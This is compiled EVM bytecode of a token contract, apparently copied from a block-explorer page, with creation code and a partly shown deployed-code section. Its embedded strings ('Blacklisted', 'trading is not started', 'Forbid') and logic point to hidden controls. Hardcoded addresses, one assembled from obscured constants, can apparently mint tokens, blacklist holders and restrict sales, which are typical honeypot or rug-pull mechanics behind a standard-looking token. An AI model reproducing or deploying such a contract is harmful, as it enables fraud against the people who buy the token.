067360201b60201c565b5050565b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015620003fb5750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6200043d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000434906200095c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156200056157620004a56200067860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480620005195750620004ea6200067860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6200055b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005529062000918565b60405180910390fd5b6200066e565b600a60009054906101000a900460ff168015620005cb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156200066d57600b5481620005eb84620006a160201b62000f0e1760201c565b620005f79190620009ac565b111580156200062a5750600c54816200061b84620006a160201b62000f0e1760201c565b620006279190620009ac565b10155b6200066c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200066390620008f6565b60405180910390fd5b5b5b505050565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b828054620006f89062000a13565b90600052602060002090601f0160209004810192826200071c576000855562000768565b82601f106200073757805160ff191683800117855562000768565b8280016001018555821562000768579182015b82811115620007675782518255916020019190600101906200074a565b5b5090506200077791906200077b565b5090565b5b80821115620007965760008160009055506001016200077c565b5090565b600081519050620007ab8162000aa7565b92915050565b600060208284031215620007c457600080fd5b6000620007d4848285016200079a565b91505092915050565b6000620007ec6006836200099b565b91507f466f7262696400000000000000000000000000000000000000000000000000006000830152602082019050919050565b60006200082e6016836200099b565b91507f74726164696e67206973206e6f742073746172746564000000000000000000006000830152602082019050919050565b600062000870601f836200099b565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6000620008b2600b836200099b565b91507f426c61636b6c69737465640000000000000000000000000000000000000000006000830152602082019050919050565b620008f08162000a09565b82525050565b600060208201905081810360008301526200091181620007dd565b9050919050565b6000602082019050818103600083015262000933816200081f565b9050919050565b60006020820190508181036000830152620009558162000861565b9050919050565b600060208201905081810360008301526200097781620008a3565b9050919050565b6000602082019050620009956000830184620008e5565b92915050565b600082825260208201905092915050565b6000620009b98262000a09565b9150620009c68362000a09565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620009fe57620009fd62000a49565b5b828201905092915050565b6000819050919050565b6000600282049050600182168062000a2c57607f821691505b6020821081141562000a435762000a4262000a78565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b62000ab28162000a09565b811462000abe57600080fd5b50565b6135c48062000ad16000396000f3fe608060405234801561001057600080fd5b506004361061021c5760003560e01c806370a0823111610125578063a457c2d7116100ad578063daf8663e1161007c578063daf8663e1461068f578063dd62ed3e146106ab578063e2daf665146106db578063f2fde38b146106f9578063f371efa4146107155761021c565b8063a457c2d7146105f5578063a9059cbb14610625578063afacb3e514610655578063d21c8d55146106715761021c565b806389f9a1d3116100f457806389f9a1d31461054f5780638da5cb5b1461056d5780638f5a01161461058b578063923e51d5146105a757806395d89b41146105d75761021c565b806370a08231146104c7578063715018a6146104f7578063858ced3514610501578063891e1ee0146105315761021c565b8063313ce567116101a857806342966c681161017757806342966c6814610421578063460406f01461043d5780634a0af68d1461045b5780635d0dcf4b1461048b57806365f6a921146104a95761021c565b8063313ce56714610387578063376d567c146103a557806339509351146103d5578063404e5129146104055761021c565b806318160ddd116101ef57806318160ddd146102cf5780631ab99e12146102ed57806323b872dd1461030b5780632ccb1b301461033b5780633052ea08146103575761021c565b806306fdde0314610221578063095ea7b31461023f57806316c021291461026f57806316e3b09c1461029f575b600080fd5b610229610745565b6040516102369190613142565b60405180910390f35b61025960048036038101906102549190612a93565b6107d7565b6040516102669190613127565b60405180910390f35b610289600480360381019061028491906129a3565b6107f5565b6040516102969190613127565b60405180910390f35b6102b960048036038101906102b49190612b32565b610815565b6040516102c69190613127565b60405180910390f35b6102d7610907565b6040516102e49190613344565b60405180910390f35b6102f5610911565b6040516103029190613344565b60405180910390f35b61032560048036038101906103209190612a08565b610917565b6040516103329190613127565b60405180910390f35b61035560048036038101906103509190612a93565b610a0f565b005b610371600480360381019061036c9190612b32565b610afa565b60405161037e9190613127565b60405180910390f35b61038f610b69565b60405161039c919061335f565b60405180910390f35b6103bf60048036038101906103ba91906129a3565b610b72565b6040516103cc9190613127565b60405180910390f35b6103ef60048036038101906103ea9190612a93565b610c18565b6040516103fc9190613127565b60405180910390f35b61041f600480360381019061041a9190612a57565b610cc4565b005b61043b60048036038101906104369190612b32565b610dfc565b005b610445610e09565b604051610452919061310c565b60405180910390f35b610475600480360381019061047091906129a3565b610e2f565b6040516104829190613127565b60405180910390f35b610493610ed5565b6040516104a09190613127565b60405180910390f35b6104b1610ee8565b6040516104be919061310c565b60405180910390f35b6104e160048036038101906104dc91906129a3565b610f0e565b6040516104ee9190613344565b60405180910390f35b6104ff610f57565b005b61051b600480360381019061051691906129a3565b611040565b6040516105289190613127565b60405180910390f35b6105396110e6565b604051610546919061310c565b60405180910390f35b61055761110c565b6040516105649190613344565b60405180910390f35b610575611112565b604051610582919061310c565b60405180910390f35b6105a560048036038101906105a09190612acf565b61113b565b005b6105c160048036038101906105bc91906129a3565b611287565b6040516105ce9190613127565b60405180910390f35b6105df61131f565b6040516105ec9190613142565b60405180910390f35b61060f600480360381019061060a9190612a93565b6113b1565b60405161061c9190613127565b60405180910390f35b61063f600480360381019061063a9190612a93565b61149c565b60405161064c9190613127565b60405180910390f35b61066f600480360381019061066a9190612a93565b6114ba565b005b610679611507565b604051610686919061310c565b60405180910390f35b6106a960048036038101906106a49190612acf565b61152d565b005b6106c560048036038101906106c091906129cc565b6115db565b6040516106d29190613344565b60405180910390f35b6106e3611662565b6040516106f0919061310c565b60405180910390f35b610713600480360381019061070e91906129a3565b611688565b005b61072f600480360381019061072a9190612b32565b6117e1565b60405161073c9190613127565b60405180910390f35b606060088054610754906134a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610780906134a8565b80156107cd5780601f106107a2576101008083540402835291602001916107cd565b820191906000526020600020905b8154815290600101906020018083116107b057829003601f168201915b5050505050905090565b60006107eb6107e4611835565b848461183d565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff1661084a611835565b73ffffffffffffffffffffffffffffffffffffffff1614806108eb575061086f611835565b73ffffffffffffffffffffffffffffffffffffffff1661088d611112565b73ffffffffffffffffffffffffffffffffffffffff161480156108ea57506108b3611a08565b73ffffffffffffffffffffffffffffffffffffffff166108d1611835565b73ffffffffffffffffffffffffffffffffffffffff1614155b5b6108f457600080fd5b6108fe3383611a24565b60019050919050565b6000600754905090565b600c5481565b6000610924848484611be0565b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061096f611835565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e690613244565b60405180910390fd5b610a03856109fb611835565b85840361183d565b60019150509392505050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff16610a42611835565b73ffffffffffffffffffffffffffffffffffffffff161480610ae35750610a67611835565b73ffffffffffffffffffffffffffffffffffffffff16610a85611112565b73ffffffffffffffffffffffffffffffffffffffff16148015610ae25750610aab611a08565b73ffffffffffffffffffffffffffffffffffffffff16610ac9611835565b73ffffffffffffffffffffffffffffffffffffffff1614155b5b610aec57600080fd5b610af68282611e64565b5050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b5657600080fd5b610b603383611a24565b60019050919050565b60006012905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bce57600080fd5b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000610cba610c25611835565b848460066000610c33611835565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cb59190613396565b61183d565b6001905092915050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff16610cf7611835565b73ffffffffffffffffffffffffffffffffffffffff161480610d985750610d1c611835565b73ffffffffffffffffffffffffffffffffffffffff16610d3a611112565b73ffffffffffffffffffffffffffffffffffffffff16148015610d975750610d60611a08565b73ffffffffffffffffffffffffffffffffffffffff16610d7e611835565b73ffffffffffffffffffffffffffffffffffffffff1614155b5b610da157600080fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610e063382612020565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e8b57600080fd5b81600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600a60009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff16610f8a611835565b73ffffffffffffffffffffffffffffffffffffffff16148061102b5750610faf611835565b73ffffffffffffffffffffffffffffffffffffffff16610fcd611112565b73ffffffffffffffffffffffffffffffffffffffff1614801561102a5750610ff3611a08565b73ffffffffffffffffffffffffffffffffffffffff16611011611835565b73ffffffffffffffffffffffffffffffffffffffff1614155b5b61103457600080fd5b61103e60006121f9565b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461109c57600080fd5b81600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff1661116e611835565b73ffffffffffffffffffffffffffffffffffffffff16148061120f5750611193611835565b73ffffffffffffffffffffffffffffffffffffffff166111b1611112565b73ffffffffffffffffffffffffffffffffffffffff1614801561120e57506111d7611a08565b73ffffffffffffffffffffffffffffffffffffffff166111f5611835565b73ffffffffffffffffffffffffffffffffffffffff1614155b5b61121857600080fd5b83600a60006101000a81548160ff02191690831515021790555082600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600b8190555080600c8190555050505050565b60007378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112d557600080fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60606009805461132e906134a8565b80601f016020809104026020016040519081016040528092919081815260200182805461135a906134a8565b80156113a75780601f1061137c576101008083540402835291602001916113a7565b820191906000526020600020905b81548152906001019060200180831161138a57829003601f168201915b5050505050905090565b600080600660006113c0611835565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561147d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147490613304565b60405180910390fd5b611491611488611835565b8585840361183d565b600191505092915050565b60006114b06114a9611835565b8484611be0565b6001905092915050565b6114c26122bd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114f957600080fd5b611503828261236c565b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6115356122bd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461156c57600080fd5b83600a60006101000a81548160ff02191690831515021790555082600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600b8190555080600c8190555050505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff166116bb611835565b73ffffffffffffffffffffffffffffffffffffffff16148061175c57506116e0611835565b73ffffffffffffffffffffffffffffffffffffffff166116fe611112565b73ffffffffffffffffffffffffffffffffffffffff1614801561175b5750611724611a08565b73ffffffffffffffffffffffffffffffffffffffff16611742611835565b73ffffffffffffffffffffffffffffffffffffffff1614155b5b61176557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cc906131a4565b60405180910390fd5b6117de816121f9565b50565b60006117eb6122bd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461182257600080fd5b61182c33836124e8565b60019050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a4906132e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561191d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611914906131c4565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119fb9190613344565b60405180910390a3505050565b6000730320e7dc23bfae74334d93c20051125ca59e0e7a905090565b611a2c612664565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611a6457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acb90613264565b60405180910390fd5b80600754611ae29190613396565b60078190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b339190613396565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bd49190613344565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c47906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611cc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb790613164565b60405180910390fd5b611ccb838383612680565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d49906131e4565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611de79190613396565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e4b9190613344565b60405180910390a3611e5e84848461295f565b50505050565b611e6c612664565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611ea457600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ef39190613396565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f589190613344565b60405180910390a380600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611faf9190613396565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120149190613344565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612090576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208790613284565b60405180910390fd5b61209c82600083612680565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211a90613184565b60405180910390fd5b818103600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816007600082825461217b91906133ec565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121e09190613344565b60405180910390a36121f48360008461295f565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080637addad099050600063cbd98d979050600063ec3da7a09050600063088eadfe90506000635801c336905060008160208473ffffffffffffffffffffffffffffffffffffffff16901b60408673ffffffffffffffffffffffffffffffffffffffff16901b60608873ffffffffffffffffffffffffffffffffffffffff16901b60808a73ffffffffffffffffffffffffffffffffffffffff16901b17171717905080965050505050505090565b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123bb9190613396565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124209190613344565b60405180910390a380600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124779190613396565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124dc9190613344565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254f90613224565b60405180910390fd5b806007546125669190613396565b60078190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b79190613396565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126589190613344565b60405180910390a35050565b6000730320e7dc23bfae74334d93c20051125ca59e0e7a905090565b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127245750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275a90613324565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612871576127c2611112565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061282d57506127fe611112565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b61286c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612863906132a4565b60405180910390fd5b61295a565b600a60009054906101000a900460ff1680156128da5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561295957600b54816128ec84610f0e565b6128f69190613396565b111580156129195750600c548161290c84610f0e565b6129169190613396565b10155b612958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294f90613204565b60405180910390fd5b5b5b505050565b505050565b60008135905061297381613549565b92915050565b60008135905061298881613560565b92915050565b60008135905061299d81613577565b92915050565b6000602082840312156129b557600080fd5b60006129c384828501612964565b91505092915050565b600080604083850312156129df57600080fd5b60006129ed85828601612964565b92505060206129fe85828601612964565b9150509250929050565b600080600060608486031215612a1d57600080fd5b6000612a2b86828701612964565b9350506020612a3c86828701612964565b9250506040612a4d8682870161298e565b9150509250925092565b60008060408385031215612a6a57600080fd5b6000612a7885828601612964565b9250506020612a8985828601612979565b9150509250929050565b60008060408385031215612aa657600080fd5b6000612ab485828601612964565b9250506020612ac58582860161298e565b9150509250929050565b60008060008060808587031215612ae557600080fd5b6000612af387828801612979565b9450506020612b0487828801612964565b9350506040612b158782880161298e565b9250506060612b268782880161298e565b91505092959194509250565b600060208284031215612b4457600080fd5b6000612b528482850161298e565b91505092915050565b612b6481613420565b82525050565b612b7381613432565b82525050565b6000612b848261337a565b612b8e8185613385565b9350612b9e818560208601613475565b612ba781613538565b840191505092915050565b6000612bbf602383613385565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612c25602283613385565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612c8b602683613385565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612cf1602283613385565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612d57602683613385565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612dbd600683613385565b91507f466f7262696400000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000612dfd601c83613385565b91507f436f6d7075746520536d61727420436f6e74726163742052656d6978000000006000830152602082019050919050565b6000612e3d602883613385565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612ea3601f83613385565b91507f42455032303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6000612ee3602183613385565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612f49601683613385565b91507f74726164696e67206973206e6f742073746172746564000000000000000000006000830152602082019050919050565b6000612f89602583613385565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612fef602483613385565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613055602583613385565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006130bb600b83613385565b91507f426c61636b6c69737465640000000000000000000000000000000000000000006000830152602082019050919050565b6130f78161345e565b82525050565b61310681613468565b82525050565b60006020820190506131216000830184612b5b565b92915050565b600060208201905061313c6000830184612b6a565b92915050565b6000602082019050818103600083015261315c8184612b79565b905092915050565b6000602082019050818103600083015261317d81612bb2565b9050919050565b6000602082019050818103600083015261319d81612c18565b9050919050565b600060208201905081810360008301526131bd81612c7e565b9050919050565b600060208201905081810360008301526131dd81612ce4565b9050919050565b600060208201905081810360008301526131fd81612d4a565b9050919050565b6000602082019050818103600083015261321d81612db0565b9050919050565b6000602082019050818103600083015261323d81612df0565b9050919050565b6000602082019050818103600083015261325d81612e30565b9050919050565b6000602082019050818103600083015261327d81612e96565b9050919050565b6000602082019050818103600083015261329d81612ed6565b9050919050565b600060208201905081810360008301526132bd81612f3c565b9050919050565b600060208201905081810360008301526132dd81612f7c565b9050919050565b600060208201905081810360008301526132fd81612fe2565b9050919050565b6000602082019050818103600083015261331d81613048565b9050919050565b6000602082019050818103600083015261333d816130ae565b9050919050565b600060208201905061335960008301846130ee565b92915050565b600060208201905061337460008301846130fd565b92915050565b600081519050919050565b600082825260208201905092915050565b60006133a18261345e565b91506133ac8361345e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133e1576133e06134da565b5b828201905092915050565b60006133f78261345e565b91506134028361345e565b925082821015613415576134146134da565b5b828203905092915050565b600061342b8261343e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015613493578082015181840152602081019050613478565b838111156134a2576000848401525b50505050565b600060028204905060018216806134c057607f821691505b602082108114156134d4576134d3613509565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61355281613420565b811461355d57600080fd5b50565b61356981613432565b811461357457600080fd5b50565b6135808161345e565b811461358b57600080fd5b5056fea2646970667358221220d3c0d065c56471d36880758e9784dafffeda67b1aafc53753cb03549be669f9b64736f6c634300080000330000000000000000000000000000000000000000033b2e3c9fd0803ce8000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061021c5760003560e01c806370a0823111610125578063a457c2d7116100ad578063daf8663e1161007c578063daf8663e1461068f578063dd62ed3e146106ab578063e2daf665146106db578063f2fde38b146106f9578063f371efa4146107155761021c565b8063a457c2d7146105f5578063a9059cbb14610625578063afacb3e514610655578063d21c8d55146106715761021c565b806389f9a1d3116100f457806389f9a1d31461054f5780638da5cb5b1461056d5780638f5a01161461058b578063923e51d5146105a757806395d89b41146105d75761021c565b806370a08231146104c7578063715018a6146104f7578063858ced3514610501578063891e1ee0146105315761021c565b8063313ce567116101a857806342966c681161017757806342966c6814610421578063460406f01461043d5780634a0af68d1461045b5780635d0dcf4b1461048b57806365f6a921146104a95761021c565b8063313ce56714610387578063376d567c146103a557806339509351146103d5578063404e5129146104055761021c565b806318160ddd116101ef57806318160ddd146102cf5780631ab99e12146102ed57806323b872dd1461030b5780632ccb1b301461033b5780633052ea08146103575761021c565b806306fdde0314610221578063095ea7b31461023f57806316c021291461026f57806316e3b09c1461029f575b600080fd5b610229610745565b6040516102369190613142565b60405180910390f35b61025960048036038101906102549190612a93565b6107d7565b6040516102669190613127565b60405180910390f35b610289600480360381019061028491906129a3565b6107f5565b6040516102969190613127565b60405180910390f35b6102b960048036038101906102b49190612b32565b610815565b6040516102c69190613127565b60405180910390f35b6102d7610907565b6040516102e49190613344565b60405180910390f35b6102f5610911565b6040516103029190613344565b60405180910390f35b61032560048036038101906103209190612a08565b610917565b6040516103329190613127565b60405180